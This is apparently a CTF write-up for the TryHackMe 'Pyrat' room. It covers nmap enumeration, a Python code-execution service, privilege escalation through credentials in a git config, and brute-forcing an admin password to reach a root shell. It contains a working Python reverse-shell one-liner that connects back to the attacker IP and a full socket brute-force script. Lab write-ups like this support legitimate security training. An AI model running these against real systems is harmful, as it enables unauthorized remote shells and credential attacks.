TryHackMe - Pyrat
Pyrat from TryHackMe involves exploiting a python script running on the machine to get both foothold and privilege escalation, but the last part requires us to write a script to brute force a password in order to get a root shell.
Enumeration
nmap
We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Nmap scan report for 10.10.237.127
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
We found two ports, 22 running openssh and 8000 running a python simple http server.
Web
Let’s check the web page on port 8000.
It said to try a basic connection, let’s try netcat.
1
2
3
4
┌─[]─[10.9.4.213]─[sirius@parrot]─[~/ctf/thm/pyrat]
└──╼ [★]$ nc 10.10.248.81 8000
hi
name 'hi' is not defined
We connected successfully, I typed hi
and got an error.
If we copy that error to google we see that’s it’s python error.
Let’s try running some python commands.
1
2
3
4
5
print("hi")
hi
print(1+1)
2
It worked, this means that this service is executing python code.
Foothold
Let’s run a python reverse shell.
1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.4.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
Privilege Escalation
www-data -> think
Doing some manual enumeration on the system we find an interesting directory in /opt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@Pyrat:/$ cd /opt/dev/
www-data@Pyrat:/opt/dev$ ls -la
total 12
drwxrwxr-x 3 think think 4096 Jun 21 2023 .
drwxr-xr-x 3 root root 4096 Jun 21 2023 ..
drwxrwxr-x 8 think think 4096 Jun 21 2023 .git
www-data@Pyrat:/opt/dev$ cd .git/
www-data@Pyrat:/opt/dev/.git$ ls
branches config HEAD index logs refs
COMMIT_EDITMSG description hooks info objects
www-data@Pyrat:/opt/dev/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = ***REDACTED***
we found a ``git` directory with a config file containing credentials.
Let’s switch to user think
1
2
3
4
www-data@Pyrat:/opt/dev/.git$ su think
Password:
think@Pyrat:/opt/dev/.git$ id
uid=1000(think) gid=1000(think) groups=1000(think)
Great! We got user think
think -> root
Checking the git log we find only one commit:
1
2
3
4
5
6
think@Pyrat:/opt/dev/.git$ git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
I saw the github username josemlwdf
and pasted in to google and found this account https://github.com/josemlwdf.
It’s the room’s authors account where we can find the repository of the service running on port 8000 ‘pyrat.
Checking the readme we find an interesting part:
Admin: To access the admin functionality, type admin and press Enter. You will be prompted to enter a password. Enter the password and press Enter. If the password is correct, you will see the message “Welcome Admin!!! Type ‘shell’ to begin”. You can then proceed to use the shell functionality.
Let’s try that
1
2
3
4
5
6
7
8
9
┌─[]─[10.9.4.213]─[sirius@parrot]─[~/ctf/thm/pyrat]
└──╼ [★]$ nc 10.10.248.81 8000
admin
Password:
admin
Password:
password
Password:
pass123
The functionality works but we don’t have a password.
Reading through the script I found the password testpass
but it didn’t work.
The next step now is to brute force the password.
I wrote the following script that does that https://github.com/NasrallahBaadi/CTF-Scripts/tree/main/TryHackMe/pyrat.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import socket
import sys
import argparse
def read_passwords(file_path):
with open(file_path, "r", encoding='utf-8', errors='ignore') as f:
for line in f:
yield line.strip("\n")
def bruteforce(host, port, file_path):
print("[+] Starting the script")
try:
for password in read_passwords(file_path):
# Create a socket connection
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
# Send the word 'admin'
client.sendall(b"admin")
response = client.recv(1024).decode('utf-8')
# Send the password
client.sendall(bytes(password, encoding='utf8'))
response = client.recv(1024).decode('utf-8')
# Clear the previous output line completely using ANSI escape codes
sys.stdout.write('\033[2K\033[1G')
sys.stdout.write(f"[+] Trying password: {password}")
sys.stdout.flush()
if 'Welcome Admin' in response:
sys.stdout.write('\033[2K\033[1G')
print(f"[+] Password is: {password}")
client.close()
sys.exit(0)
client.close()
except Exception as e:
print(f"[ERROR] Connection failed: {e}")
def main():
# Example on how to use the script
example = '''
Example:
python3 pyrat_brute.py -i 10.10.10.10 -f /usr/share/wordlists/rockyou.txt
'''
# Parse command-line arguments
parser = argparse.ArgumentParser(description="Brute force admin password of pyRAT.", epilog=example, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument('-i', '--ip', help='IP address of the target', required=True, metavar='ip_address')
parser.add_argument('-f', '--file', help='Password list file', required=True, metavar='file_path')
args = parser.parse_args()
host = args.ip
port = 8000
file_path = args.file
# Calling bruteforce function
bruteforce(host, port, file_path)
if __name__ == "__main__":
main()
The script takes two arguments: -i
which is the ip address of the target and -f
which is the password list location.
1
2
3
$ python hac.py -i 10.10.248.81 -f /usr/share/wordlists/rockyou.txt
[+] Starting the script
[+] Password is: REDACTED
And we got the password, now let’s authenticate.
1
2
3
4
5
6
7
8
9
$ nc 10.10.248.81 8000
admin
Password:
REDACTED
Welcome Admin!!! Type "shell" to begin
shell
# id
id
uid=0(root) gid=0(root) groups=0(root)
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).
References
https://github.com/NasrallahBaadi/CTF-Scripts/tree/main/TryHackMe/pyrat